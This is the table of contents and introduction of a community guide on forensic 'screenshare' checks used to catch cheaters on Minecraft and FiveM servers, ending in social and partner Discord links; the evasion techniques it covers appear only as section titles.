# Table of Contents - [Introduction | RedLotus Guide](#introduction-redlotus-guide) - [What is a Hack Check (Screenshare)? | RedLotus Guide](#what-is-a-hack-check-screenshare-redlotus-guide) - [The Goal: Demonstrating Cheat Usage | RedLotus Guide](#the-goal-demonstrating-cheat-usage-redlotus-guide) - [ScreenSharing Protocols (Video Recording) | RedLotus Guide](#screensharing-protocols-video-recording-redlotus-guide) - [The Staffer's Perspective and the Learning Process | RedLotus Guide](#the-staffer-s-perspective-and-the-learning-process-redlotus-guide) - [Requirements for ScreenSharers | RedLotus Guide](#requirements-for-screensharers-redlotus-guide) - [Anti-Corruption Measures | RedLotus Guide](#anti-corruption-measures-redlotus-guide) - [Red Lotus Principles for Ethical and Effective ScreenSharing | RedLotus Guide](#red-lotus-principles-for-ethical-and-effective-screensharing-redlotus-guide) - [Red Lotus Principles | RedLotus Guide](#red-lotus-principles-redlotus-guide) - [Windows Fundamentals | RedLotus Guide](#windows-fundamentals-redlotus-guide) - [Fundamental Timestamps | RedLotus Guide](#fundamental-timestamps-redlotus-guide) - [File Systems: The Foundation | RedLotus Guide](#file-systems-the-foundation-redlotus-guide) - [Journaling (Definition, Purpose) | RedLotus Guide](#journaling-definition-purpose-redlotus-guide) - [Common Windows Artifacts and Their Basic Analysis | RedLotus Guide](#common-windows-artifacts-and-their-basic-analysis-redlotus-guide) - [The Journal ($USNJrnl) - The Change Log | RedLotus Guide](#the-journal-usnjrnl-the-change-log-redlotus-guide) - [File System (Definition, Types: NTFS, FAT32, etc.) | RedLotus Guide](#file-system-definition-types-ntfs-fat32-etc-redlotus-guide) - [Other Notable Folders/Locations | RedLotus Guide](#other-notable-folders-locations-redlotus-guide) - [Recycle Bin ( C:$Recycle.bin ) | RedLotus Guide](#recycle-bin-c-recycle-bin-redlotus-guide) - [Introduction to Process and Memory Analysis | RedLotus Guide](#introduction-to-process-and-memory-analysis-redlotus-guide) - [Prefetch ( C:\Windows\Prefetch ) | RedLotus Guide](#prefetch-c-windows-prefetch-redlotus-guide) - [Manual SS Techniques (Basic and Intermediate) | RedLotus Guide](#manual-ss-techniques-basic-and-intermediate-redlotus-guide) - [Master File Table ($MFT) - The File Catalog | RedLotus Guide](#master-file-table-mft-the-file-catalog-redlotus-guide) - [Windows Registry: Introduction | RedLotus Guide](#windows-registry-introduction-redlotus-guide) - [Registry Structure: Hives, Keys, and Values | RedLotus Guide](#registry-structure-hives-keys-and-values-redlotus-guide) - [Registry Value Types (Brief Overview) | RedLotus Guide](#registry-value-types-brief-overview-redlotus-guide) - [$LogFile (Metadata Log) - Specific Log for Metadata Changes | RedLotus Guide](#-logfile-metadata-log-specific-log-for-metadata-changes-redlotus-guide) - [Key NTFS Components | RedLotus Guide](#key-ntfs-components-redlotus-guide) - [File Attributes (Read-Only, Hidden, etc.) - Manipulable Properties | RedLotus Guide](#file-attributes-read-only-hidden-etc-manipulable-properties-redlotus-guide) - [Process Hacker / System Informer: Introduction and Configuration | RedLotus Guide](#process-hacker-system-informer-introduction-and-configuration-redlotus-guide) - [Execution Traces and Recent Activity | RedLotus Guide](#execution-traces-and-recent-activity-redlotus-guide) - [Event Viewer ( eventvwr.msc ) | RedLotus Guide](#event-viewer-eventvwr-msc-redlotus-guide) - [Key Capabilities for ScreenSharing: | RedLotus Guide](#key-capabilities-for-screensharing-redlotus-guide) - [Windows Event Logs: Introduction | RedLotus Guide](#windows-event-logs-introduction-redlotus-guide) - [Troubleshooting and Evasion Detection | RedLotus Guide](#troubleshooting-and-evasion-detection-redlotus-guide) - [Configuration: Enabling Kernel Mode Driver | RedLotus Guide](#configuration-enabling-kernel-mode-driver-redlotus-guide) - [Windows Prefetch Analysis (WinPrefetchView / PECmd) | RedLotus Guide](#windows-prefetch-analysis-winprefetchview-pecmd-redlotus-guide) - [Analysis Tools | RedLotus Guide](#analysis-tools-redlotus-guide) - [Functionality in ScreenSharing | RedLotus Guide](#functionality-in-screensharing-redlotus-guide) - [Understanding Prefetch | RedLotus Guide](#understanding-prefetch-redlotus-guide) - [The EventLog Service | RedLotus Guide](#the-eventlog-service-redlotus-guide) - [Alternate Data Streams (ADS) - Hidden Data Streams | RedLotus Guide](#alternate-data-streams-ads-hidden-data-streams-redlotus-guide) - [Information Stored in Prefetch Files | RedLotus Guide](#information-stored-in-prefetch-files-redlotus-guide) - [Limitations and Considerations | RedLotus Guide](#limitations-and-considerations-redlotus-guide) - [General Process Filtering Steps: | RedLotus Guide](#general-process-filtering-steps-redlotus-guide) - [explorer.exe (Windows Explorer) | RedLotus Guide](#explorer-exe-windows-explorer-redlotus-guide) - [Temporary Files ( %temp% ) | RedLotus Guide](#temporary-files-temp-redlotus-guide) - [Recent Items ( shell:recent ) | RedLotus Guide](#recent-items-shell-recent-redlotus-guide) - [Other Relevant Processes | RedLotus Guide](#other-relevant-processes-redlotus-guide) - [PlugPlay Service (Sometimes shown under DCOMLaunch) | RedLotus Guide](#plugplay-service-sometimes-shown-under-dcomlaunch-redlotus-guide) - [Data Sources | RedLotus Guide](#data-sources-redlotus-guide) - [Event Log Structure ( .evtx Files) | RedLotus Guide](#event-log-structure-evtx-files-redlotus-guide) - [Specific Processes to Analyze and Search Patterns | RedLotus Guide](#specific-processes-to-analyze-and-search-patterns-redlotus-guide) - [svchost.exe (-s dps) (Diagnostic Policy Service) | RedLotus Guide](#svchost-exe-s-dps-diagnostic-policy-service-redlotus-guide) - [Search Everything: Rapid File System Search | RedLotus Guide](#search-everything-rapid-file-system-search-redlotus-guide) - [Unknown](#unknown) - [csrss.exe (Client Server Runtime Subsystem) | RedLotus Guide](#csrss-exe-client-server-runtime-subsystem-redlotus-guide) - [LastActivityView: Artifact Aggregation | RedLotus Guide](#lastactivityview-artifact-aggregation-redlotus-guide) - [PcaSvc (Program Compatibility Assistant Service) | RedLotus Guide](#pcasvc-program-compatibility-assistant-service-redlotus-guide) - [Journal Analysis (JournalTrace / Echo Easy Journal Viewer) | RedLotus Guide](#journal-analysis-journaltrace-echo-easy-journal-viewer-redlotus-guide) - [Usage in ScreenSharing | RedLotus Guide](#usage-in-screensharing-redlotus-guide) - [Core Features | RedLotus Guide](#core-features-redlotus-guide) - [The USN Journal ( $UsnJrnl ) | RedLotus Guide](#the-usn-journal-usnjrnl-redlotus-guide) - [Application in ScreenSharing | RedLotus Guide](#application-in-screensharing-redlotus-guide) - [Limitations | RedLotus Guide](#limitations-redlotus-guide) - [GUI Parsing Tools | RedLotus Guide](#gui-parsing-tools-redlotus-guide) - [Regedit / Registry Explorer (Registry Viewers - Basic Usage) | RedLotus Guide](#regedit-registry-explorer-registry-viewers-basic-usage-redlotus-guide) - [Tools | RedLotus Guide](#tools-redlotus-guide) - [Mouse, Macro, and Input Analysis | RedLotus Guide](#mouse-macro-and-input-analysis-redlotus-guide) - [Understanding Mouse Input Manipulation | RedLotus Guide](#understanding-mouse-input-manipulation-redlotus-guide) - [Echo's Tools | RedLotus Guide](#echo-s-tools-redlotus-guide) - [Reviewing Ban Policies | RedLotus Guide](#reviewing-ban-policies-redlotus-guide) - [Minecraft Architecture and Analysis | RedLotus Guide](#minecraft-architecture-and-analysis-redlotus-guide) - [Rancio's Tools | RedLotus Guide](#rancio-s-tools-redlotus-guide) - [Javaedit - Detection via Hash/Content | RedLotus Guide](#javaedit-detection-via-hash-content-redlotus-guide) - [Importance of Documentation and Evidence | RedLotus Guide](#importance-of-documentation-and-evidence-redlotus-guide) - [Identifying Alternate Accounts During ScreenShare | RedLotus Guide](#identifying-alternate-accounts-during-screenshare-redlotus-guide) - [Ban Evasion and Alt Account Detection | RedLotus Guide](#ban-evasion-and-alt-account-detection-redlotus-guide) - [Understanding Ban Evasion | RedLotus Guide](#understanding-ban-evasion-redlotus-guide) - [Forensically Relevant Registry Keys/Locations | RedLotus Guide](#forensically-relevant-registry-keys-locations-redlotus-guide) - [Minecraft and Java | RedLotus Guide](#minecraft-and-java-redlotus-guide) - [coming soon | RedLotus Guide](#coming-soon-redlotus-guide) - [Tools | RedLotus Guide](#tools-redlotus-guide) - [Advanced JumpLists/RecentDocs Analysis | RedLotus Guide](#advanced-jumplists-recentdocs-analysis-redlotus-guide) - [Specific Analysis for Minecraft | RedLotus Guide](#specific-analysis-for-minecraft-redlotus-guide) - [User Activity and Knowledge | RedLotus Guide](#user-activity-and-knowledge-redlotus-guide) - [Launchers (Official, Custom: Lunar, Badlion, etc.) | RedLotus Guide](#launchers-official-custom-lunar-badlion-etc-redlotus-guide) - [Macro Analysis | RedLotus Guide](#macro-analysis-redlotus-guide) - [Limitations | RedLotus Guide](#limitations-redlotus-guide) - [Key Considerations for ScreenSharing | RedLotus Guide](#key-considerations-for-screensharing-redlotus-guide) - [Understanding Recuva | RedLotus Guide](#understanding-recuva-redlotus-guide) - [More Artifact Analysis for ScreenSharing | RedLotus Guide](#more-artifact-analysis-for-screensharing-redlotus-guide) - [Server Rules Context | RedLotus Guide](#server-rules-context-redlotus-guide) - [Definition and Purpose in Cheating | RedLotus Guide](#definition-and-purpose-in-cheating-redlotus-guide) - [Specific PowerShell Scripts | RedLotus Guide](#specific-powershell-scripts-redlotus-guide) - [Understanding the Windows Registry | RedLotus Guide](#understanding-the-windows-registry-redlotus-guide) - [Minecraft Architecture (Java, JVM) | RedLotus Guide](#minecraft-architecture-java-jvm-redlotus-guide) - [Accessing Event Viewer | RedLotus Guide](#accessing-event-viewer-redlotus-guide) - [General Detection Strategy | RedLotus Guide](#general-detection-strategy-redlotus-guide) - [Categorizing Minecraft Cheats (Context for Analysis) | RedLotus Guide](#categorizing-minecraft-cheats-context-for-analysis-redlotus-guide) - [Usage in ScreenSharing | RedLotus Guide](#usage-in-screensharing-redlotus-guide) - [RedLotus Tools | RedLotus Guide](#redlotus-tools-redlotus-guide) - [Accessing the Registry | RedLotus Guide](#accessing-the-registry-redlotus-guide) - [Amcache/Syscache/RecentFileCache Analysis | RedLotus Guide](#amcache-syscache-recentfilecache-analysis-redlotus-guide) - [Definition and Mouse Abuse | RedLotus Guide](#definition-and-mouse-abuse-redlotus-guide) - [Detecting On-Board Macros | RedLotus Guide](#detecting-on-board-macros-redlotus-guide) - [Recuva (Deleted File Recovery) | RedLotus Guide](#recuva-deleted-file-recovery-redlotus-guide) - [Key Considerations for ScreenSharing | RedLotus Guide](#key-considerations-for-screensharing-redlotus-guide) - [YARA Rules | RedLotus Guide](#yara-rules-redlotus-guide) - [Debounce Time Analysis | RedLotus Guide](#debounce-time-analysis-redlotus-guide) - [RecentFileCache | RedLotus Guide](#recentfilecache-redlotus-guide) - [Shellbags | RedLotus Guide](#shellbags-redlotus-guide) - [Event Viewer (Basic Usage for Common IDs) | RedLotus Guide](#event-viewer-basic-usage-for-common-ids-redlotus-guide) - [Activities Cache Analysis | RedLotus Guide](#activities-cache-analysis-redlotus-guide) - [Program Execution | RedLotus Guide](#program-execution-redlotus-guide) - [$INDX ($i30 Index Attributes) Analysis | RedLotus Guide](#-indx-i30-index-attributes-analysis-redlotus-guide) - [Velociraptor | RedLotus Guide](#velociraptor-redlotus-guide) - [Detect It Easy (DiE) | RedLotus Guide](#detect-it-easy-die-redlotus-guide) - [File System Activity | RedLotus Guide](#file-system-activity-redlotus-guide) - [UserAssist | RedLotus Guide](#userassist-redlotus-guide) - [.minecraft Folder (Location, Structure) | RedLotus Guide](#-minecraft-folder-location-structure-redlotus-guide) - [RedLotus Alt Checker | RedLotus Guide](#redlotus-alt-checker-redlotus-guide) - [Understanding Event Viewer | RedLotus Guide](#understanding-event-viewer-redlotus-guide) - [File Entropy Analysis | RedLotus Guide](#file-entropy-analysis-redlotus-guide) - [Magnet EDD (Encrypted Disk Detector) | RedLotus Guide](#magnet-edd-encrypted-disk-detector-redlotus-guide) - [Volume Shadow Copies (VSS) Analysis | RedLotus Guide](#volume-shadow-copies-vss-analysis-redlotus-guide) - [SRUM (System Resource Usage Monitor) Analysis | RedLotus Guide](#srum-system-resource-usage-monitor-analysis-redlotus-guide) - [Detection by Mouse Brand | RedLotus Guide](#detection-by-mouse-brand-redlotus-guide) - [Detecting Software-Based Macros | RedLotus Guide](#detecting-software-based-macros-redlotus-guide) - [RedLotus Task Sentinel | RedLotus Guide](#redlotus-task-sentinel-redlotus-guide) - [Registry | RedLotus Guide](#registry-redlotus-guide) - [PowerShell Command History | RedLotus Guide](#powershell-command-history-redlotus-guide) - [Log Storage | RedLotus Guide](#log-storage-redlotus-guide) - [Checking the EventLog Service | RedLotus Guide](#checking-the-eventlog-service-redlotus-guide) - [Master File Table | RedLotus Guide](#master-file-table-redlotus-guide) - [Prefetch | RedLotus Guide](#prefetch-redlotus-guide) - [BAM & DAM | RedLotus Guide](#bam-dam-redlotus-guide) - [Recycle Bin ($Recycle.bin) | RedLotus Guide](#recycle-bin-recycle-bin-redlotus-guide) - [Key Event Logs and IDs for ScreenSharing | RedLotus Guide](#key-event-logs-and-ids-for-screensharing-redlotus-guide) - [Process and Memory Dump Analysis (Kernel Live Dump, RAM Dump) | RedLotus Guide](#process-and-memory-dump-analysis-kernel-live-dump-ram-dump-redlotus-guide) - [Volume Shadow Copies (VSS) | RedLotus Guide](#volume-shadow-copies-vss-redlotus-guide) - [System Resource Usage Monitor (SRUM) | RedLotus Guide](#system-resource-usage-monitor-srum-redlotus-guide) - [USN Journal ($UsnJrnl) | RedLotus Guide](#usn-journal-usnjrnl-redlotus-guide) - [RedLotus Mod Analyzer | RedLotus Guide](#redlotus-mod-analyzer-redlotus-guide) - [Spokwn Powershell Scripts | RedLotus Guide](#spokwn-powershell-scripts-redlotus-guide) - [Paths Parser | RedLotus Guide](#paths-parser-redlotus-guide) - [ActivitiesCache Script | RedLotus Guide](#activitiescache-script-redlotus-guide) - [Activities Cache | RedLotus Guide](#activities-cache-redlotus-guide) - [Temporary Files (%temp%) | RedLotus Guide](#temporary-files-temp-redlotus-guide) - [process-parser | RedLotus Guide](#process-parser-redlotus-guide) - [Introduction to Bypass Categories | RedLotus Guide](#introduction-to-bypass-categories-redlotus-guide) - [Amcache / Syscache | RedLotus Guide](#amcache-syscache-redlotus-guide) - [$LogFile | RedLotus Guide](#-logfile-redlotus-guide) - [JournalTrace | RedLotus Guide](#journaltrace-redlotus-guide) - [System Configuration and Persistence | RedLotus Guide](#system-configuration-and-persistence-redlotus-guide) - [Task Scheduler Artifact | RedLotus Guide](#task-scheduler-artifact-redlotus-guide) - [RedLotus Tool Downloader | RedLotus Guide](#redlotus-tool-downloader-redlotus-guide) - [Spok's Tools | RedLotus Guide](#spok-s-tools-redlotus-guide) - [ActivitiesCache execution | RedLotus Guide](#activitiescache-execution-redlotus-guide) - [Prefetch Parser | RedLotus Guide](#prefetch-parser-redlotus-guide) - [BAM parser | RedLotus Guide](#bam-parser-redlotus-guide) - [usb-drive | RedLotus Guide](#usb-drive-redlotus-guide) - [Index Attributes ($INDX / $i30) | RedLotus Guide](#index-attributes-indx-i30-redlotus-guide) - [pcasvc executed | RedLotus Guide](#pcasvc-executed-redlotus-guide) - [Common Bypass Techniques in ScreenSharing | RedLotus Guide](#common-bypass-techniques-in-screensharing-redlotus-guide) - [Steganography | RedLotus Guide](#steganography-redlotus-guide) - [Powershell Remoting | RedLotus Guide](#powershell-remoting-redlotus-guide) - [Detection | RedLotus Guide](#detection-redlotus-guide) - [Suspicious DLLs and DLL Injection Techniques | RedLotus Guide](#suspicious-dlls-and-dll-injection-techniques-redlotus-guide) - [Streams Script | RedLotus Guide](#streams-script-redlotus-guide) - [Kernel Live Dump Analyzer | RedLotus Guide](#kernel-live-dump-analyzer-redlotus-guide) - [Alternate Data Streams (ADS) | RedLotus Guide](#alternate-data-streams-ads-redlotus-guide) - [Forensic Implications | RedLotus Guide](#forensic-implications-redlotus-guide) - [Disabling Registry/Folder Inheritance | RedLotus Guide](#disabling-registry-folder-inheritance-redlotus-guide) - [Mechanism of Evasion | RedLotus Guide](#mechanism-of-evasion-redlotus-guide) - [Task Scheduler Bypass Techniques | RedLotus Guide](#task-scheduler-bypass-techniques-redlotus-guide) - [Permission and Inheritance Modification | RedLotus Guide](#permission-and-inheritance-modification-redlotus-guide) - [Mechanism of Evasion | RedLotus Guide](#mechanism-of-evasion-redlotus-guide) - [COM Hijacking | RedLotus Guide](#com-hijacking-redlotus-guide) - [Replaceparser | RedLotus Guide](#replaceparser-redlotus-guide) - [Disk Partition Manipulation for Evasion | RedLotus Guide](#disk-partition-manipulation-for-evasion-redlotus-guide) - [Scripting Languages for Evasion | RedLotus Guide](#scripting-languages-for-evasion-redlotus-guide) - [Concealment and Obfuscation | RedLotus Guide](#concealment-and-obfuscation-redlotus-guide) - [Fileless Malware and Living-off-the-Land Binaries (LOLBins) | RedLotus Guide](#fileless-malware-and-living-off-the-land-binaries-lolbins-redlotus-guide) - [Code Obfuscation | RedLotus Guide](#code-obfuscation-redlotus-guide) - [Alternate Data Streams (ADS) | RedLotus Guide](#alternate-data-streams-ads-redlotus-guide) - [Windows Event Logs | RedLotus Guide](#windows-event-logs-redlotus-guide) - [Spoofed Extensions | RedLotus Guide](#spoofed-extensions-redlotus-guide) - [Unicode Characters in File Names/Paths | RedLotus Guide](#unicode-characters-in-file-names-paths-redlotus-guide) - [Environment and Hardware Bypasses | RedLotus Guide](#environment-and-hardware-bypasses-redlotus-guide) - [Using cacls (or similar) for Permission Changes | RedLotus Guide](#using-cacls-or-similar-for-permission-changes-redlotus-guide) - [External USB Drives (FAT32 vs. NTFS): | RedLotus Guide](#external-usb-drives-fat32-vs-ntfs-redlotus-guide) - [Forensic Implications | RedLotus Guide](#forensic-implications-redlotus-guide) - [Unsigned / Fake Digital Signatures | RedLotus Guide](#unsigned-fake-digital-signatures-redlotus-guide) - [Artifact and System Manipulation | RedLotus Guide](#artifact-and-system-manipulation-redlotus-guide) - [Recycle Bin Clearing | RedLotus Guide](#recycle-bin-clearing-redlotus-guide) - [Shellcode Injection | RedLotus Guide](#shellcode-injection-redlotus-guide) - [Process Hollowing | RedLotus Guide](#process-hollowing-redlotus-guide) - [Forge Mod Analysis | RedLotus Guide](#forge-mod-analysis-redlotus-guide) - [Command Prompt (CMD) Obfuscation | RedLotus Guide](#command-prompt-cmd-obfuscation-redlotus-guide) - [Artifact Clearing Techniques | RedLotus Guide](#artifact-clearing-techniques-redlotus-guide) - [Disabling System Features via Registry/Group Policy | RedLotus Guide](#disabling-system-features-via-registry-group-policy-redlotus-guide) - [Attribute Manipulation (Read-Only) | RedLotus Guide](#attribute-manipulation-read-only-redlotus-guide) - [Cloud Storage (OneDrive, Google Drive, etc.): | RedLotus Guide](#cloud-storage-onedrive-google-drive-etc-redlotus-guide) - [Mechanisms of Evasion | RedLotus Guide](#mechanisms-of-evasion-redlotus-guide) - [Mechanisms of Evasion | RedLotus Guide](#mechanisms-of-evasion-redlotus-guide) - [Hexadecimal File Modification (Hex Editing) | RedLotus Guide](#hexadecimal-file-modification-hex-editing-redlotus-guide) - [Timestamp Manipulation (Timestomping) | RedLotus Guide](#timestamp-manipulation-timestomping-redlotus-guide) - [Prefetch Clearing | RedLotus Guide](#prefetch-clearing-redlotus-guide) - [Service Thread Suspension | RedLotus Guide](#service-thread-suspension-redlotus-guide) - [USN Journal Clearing | RedLotus Guide](#usn-journal-clearing-redlotus-guide) - [Registry Clearing (BAM, RecentDocs, etc.) | RedLotus Guide](#registry-clearing-bam-recentdocs-etc-redlotus-guide) - [Main RedLotus Scripts | RedLotus Guide](#main-redlotus-scripts-redlotus-guide) - [Event Log Clearing/Manipulation | RedLotus Guide](#event-log-clearing-manipulation-redlotus-guide) - [Virtual Machines (VMs): | RedLotus Guide](#virtual-machines-vms-redlotus-guide) - [Unknown](#unknown) - [File Replacement (Replace Method) | RedLotus Guide](#file-replacement-replace-method-redlotus-guide) - [Forensic Implications and Detection | RedLotus Guide](#forensic-implications-and-detection-redlotus-guide) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) --- # Introduction | RedLotus Guide ![Page cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FhGYd7FA0p6jNN6GWzVAo%252Fimage_upscayl_2x_high-fidelity-4x.png%3Falt%3Dmedia%26token%3Deb31c952-9a22-430a-8c83-6714764cf7b3&width=1248&dpr=3&quality=100&sign=906132e6&sv=2) For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses.md) . This document, authored by ItzIceHere, serves as a remastered, in-depth exploration into the practice commonly known as _hack checks_ or _screenshares_. This procedure, while sometimes viewed contentiously, is a critical component of moderation within dynamic and competitive gaming communities, particularly those centered around platforms like Minecraft and FiveM where client-side modifications are prevalent. Our primary focus throughout this guide is dedicated to elucidating the **procedural, ethical, and fundamentally positive aspects** of employing these checks to rigorously uphold standards of **fair play**. The landscape of online gaming, especially in user-modifiable environments, is constantly challenged by individuals seeking unfair advantages through cheats, hacks, or unauthorized modifications. Server-side anti-cheats, while valuable, often cannot detect the full spectrum of client-side manipulations. Screensharing emerges as a necessary, albeit intensive, tool for server staff to investigate suspicious activity directly on a player's machine, aiming to verify the legitimacy of their gameplay and configuration. This guide endeavors to move beyond simplistic explanations, offering a structured pathway from fundamental concepts and ethical guidelines (as championed by the Red Lotus principles) through detailed artifact analysis, specific game contexts, common evasion tactics (bypasses), and finally, into more advanced forensic methodologies adapted for this unique context. Readers, whether newcomers seeking foundational knowledge or experienced practitioners looking to refine their skills and understanding, are encouraged to approach this material with diligence and an open mind. The world of cheat detection and bypass techniques is ever-evolving; therefore, a commitment to continuous learning, critical thinking, and adaptability is essential. This guide aims to be comprehensive, but the practical application requires judgment, adherence to server-specific rules, and unwavering integrity. **Pro TIP:** _If English is not your native language, you can automatically translate the web page with an extension or a built it tool in your browser_ ### [](https://itzicehere.gitbook.io/redlotusguide#socials) Socials In this server and channels you can find topics related to ScreenShare [](https://discord.gg/Z8MqyYwE) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FgnVGoalLzFq5mde7IxsW%252F2y94rgbqas691_upscayl_4x_realesrgan-x4plus-anime.png%3Falt%3Dmedia%26token%3D99aba4c1-fc5d-47f8-bb0f-07b8f8d95855&width=490&dpr=3&quality=100&sign=be411ff7&sv=2) RedLotus Discord [](https://www.youtube.com/@itzicehere) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FMMTo2apkwIOwVW9H3vy1%252Fcreate-a-youtube-banner-or-any-logo.png%3Falt%3Dmedia%26token%3D6cd187f4-7e42-4d4b-8c10-c344a0090d1f&width=490&dpr=3&quality=100&sign=25f1824d&sv=2) Ice's YouTube ### [](https://itzicehere.gitbook.io/redlotusguide#our-partners) Our Partners [](https://discord.com/invite/echoac) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FXGei90HZdhY48AcQyisC%252F10b2eab0f937bb48ec0986c468b72746.jpg%3Falt%3Dmedia%26token%3D7a314ab4-be85-4f04-98fa-ecc64d3e16eb&width=490&dpr=3&quality=100&sign=6f9dab97&sv=2) [](https://discord.com/invite/scanner) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252F0ArXrN4p2wCcHR38YPpU%252F8815c56d9fa5376f6af9021f85ec2ffe.jpg%3Falt%3Dmedia%26token%3D9a305adf-c67f-4018-9641-8eeaefe1f26c&width=490&dpr=3&quality=100&sign=fa7985b1&sv=2) [](https://discord.com/invite/scanning) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FWFm8eo6I3Wh70aPbBtt6%252Fbb8031855e11ff0d215fa4635c6378e8.jpg%3Falt%3Dmedia%26token%3D2b1406d5-0173-4beb-a79d-b958955bb898&width=490&dpr=3&quality=100&sign=5bd5eb5b&sv=2) [](https://discord.com/invite/rankedbedwars) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FD9aryWpjdQsocAjizNPa%252Ff0a7b9c0b2bd6976b8a0eb4e4c482a26.jpg%3Falt%3Dmedia%26token%3Da8384a0b-e114-4a18-a7d8-087b42e04bb4&width=490&dpr=3&quality=100&sign=32f5a8a5&sv=2) [](https://discord.com/invite/tiertests) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252F1zK0Fld79KCI63vEnJa3%252Faccc008178f5efa7454f013bc9df9775.jpg%3Falt%3Dmedia%26token%3Dd008ee11-159d-487a-8ca0-25d6aeb0a51e&width=490&dpr=3&quality=100&sign=3606d2d5&sv=2) [](https://discord.com/invite/arbw) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FeSFRRYASpT36NdOCtbrI%252Fbff5244dd0a2caf14c71e949ed2008f2.jpg%3Falt%3Dmedia%26token%3De3a0ebc7-c536-410c-aa9a-396def115eea&width=490&dpr=3&quality=100&sign=f04c4204&sv=2) [](https://discord.com/invite/YC3u2sPu6M) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FJPNv8IHwoOCuBzb2Pocf%252F76c1eb4829cb8af359519360cfd11ea7.jpg%3Falt%3Dmedia%26token%3De245e3be-03ec-4253-9a60-a947d5e8b5b0&width=490&dpr=3&quality=100&sign=12f729d&sv=2) [](https://discord.com/invite/tourney) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FyCm4qDlsbmlr43ZmTFzx%252F39e45241a165d13c828c76c34fb235b7.jpg%3Falt%3Dmedia%26token%3D68c9249b-c60f-4706-b2c9-342f26952e19&width=490&dpr=3&quality=100&sign=d61467e8&sv=2) [](https://discord.gg/HYFVkwuKET) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FN288KUrsaqKzqp7W0btG%252F94207176bc0b590a174eb08c2c34db01.jpg%3Falt%3Dmedia%26token%3D241f158f-d954-4ccc-b7b4-248ebb3a7843&width=490&dpr=3&quality=100&sign=13275b5e&sv=2) [](https://discord.com/invite/aranked) 